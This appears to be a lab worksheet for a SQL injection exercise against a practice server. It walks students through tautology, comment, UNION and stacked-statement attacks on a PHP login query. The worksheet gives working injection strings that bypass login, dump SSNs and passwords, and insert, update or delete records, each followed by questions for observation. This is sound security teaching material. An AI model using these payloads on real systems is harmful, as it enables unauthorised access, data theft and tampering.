Four Main Classes of SQL injection attacks:

1. Tautology attacks
2. Comment attacks
3. Union query attacks
4. Additional statement(s) attacks

http://www.seed-server.com/

Assume a login screen in a web application that presents a form with two fields:

USERNAME: _____

PASSWORD: _____

A php script in the web application constructs the following SQL statement and sends to the mySQL database for execution.

Assume $input_uname and $hashed_pwd are php variables initialized with values extracted from the HTTP request to the web application.

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='$input_uname' and password='$hashed_pwd'
```

Tautology Attacks:
****

Goal: Use of OR boolean operator so the where condition always evaluates to true

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='$input_uname' and password='$hashed_pwd'
```

Example 1:

Enter "alice' or 'x'='x" in USERNAME field (without double quotes)
Enter any text (or nothing) in the PASSWORD field

What is the resulting SQL statement after plugging in the values of input variables?

What are your observations?

Example 3:

Enter "admin' or 'x'='x" in USERNAME field (without double quotes)
Enter any text (or nothing) in the PASSWORD field

What is the resulting SQL statement after plugging in the values of input variables?

What are your observations?

Example 3:

Enter "jag' or 'x'='x" in USERNAME field (without double quotes)
Enter any text (or nothing) in the PASSWORD field

What is the resulting SQL statement after plugging in the values of input variables?

What are your observations?

Comment Attacks:
****

Goal: Comment character can be inserted into a SQL statement to make SQL parser ignore rest of SQL statement when it first encounters a comment character in the statement.

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='$input_uname' and password='$hashed_pwd'

Example 1:

    Enter "alice' #" in USERNAME field (without double quotes)
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 3:

    Enter "admin' #" in USERNAME field (without double quotes)
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 3:

    Enter "jag' #" in USERNAME field (without double quotes)
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?


Union Query Attacks:
********************

Goal:
    The UNION keyword in SQL allows multiple statements to be joined into a single result.
    It can be used to combine queries or to make a single statement return a richer
    set of results.

SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='$input_uname' and password='$hashed_pwd'

Example 1:

    Enter "alice' union select id, name, eid, salary, birth, ssn, phoneNumber, address,
email,name,Password from credential #"
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 2:

    Enter "admin' union select id, name, eid, salary, birth, ssn, phoneNumber, address,
email,name,Password from credential #"
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 3:

    Enter "jag' union select id, name, eid, salary, birth, ssn, phoneNumber, address,
email,name,Password from credential #"
    Enter any text (or nothing) in the PASSWORD field
```

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Additional Statement Attacks:
****

Goal: Using semicolon (;) operator, additional statement(s) can be added to a SQL command

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='$input_uname' and password='$hashed_pwd'
```

Let's insert an employee:

Example 1:

    Enter "alice'; insert into credential (name, eid, ssn, salary) values ('Jag', '11111',
'12345678', 75000) #"
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 2:

    Enter "admin'; insert into credential (name, eid, ssn, salary) values ('Jag', '11111',
'12345678', 75000) #"
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 3:

    Enter "jag'; insert into credential (name, eid, ssn, salary) values ('Jag', '11111',
'12345678', 75000) #"
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Let's update employee information:

Example 1:
    Enter "alice'; update credential set salary=100000 where name='alice' #" in USERNAME field
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 2:
    Enter "admin'; update credential set salary=100000 where name='alice' #" in USERNAME field
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

    What are your observations?

Example 3:
    Enter "jag'; update credential set salary=100000 where name='alice' #" in USERNAME field
    Enter any text (or nothing) in the PASSWORD field

    What is the resulting SQL statement after plugging in the values of input variables?

What are your observations?

Let's delete the employee that we inserted above:

Example 1:
Enter "alice'; delete from credential where name='Jag' #" in USERNAME field
Enter any text (or nothing) in the PASSWORD field

What is the resulting SQL statement after plugging in the values of input variables?

What are your observations?

Example 2:
Enter "admin'; delete from credential where name='Jag' #" in USERNAME field
Enter any text (or nothing) in the PASSWORD field

What is the resulting SQL statement after plugging in the values of input variables?

What are your observations?

Example 3:
Enter "Jag'; delete from credential where name='Jag' #" in USERNAME field
Enter any text (or nothing) in the PASSWORD field

What is the resulting SQL statement after plugging in the values of input variables?

What are your observations?

Testing "addition statements queries" from mySQL console:

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM
credential
WHERE name='alice'; insert into credential (name, eid, ssn, salary) values ('Jag', '11111',
'12345678', 75000) #' and password='';
```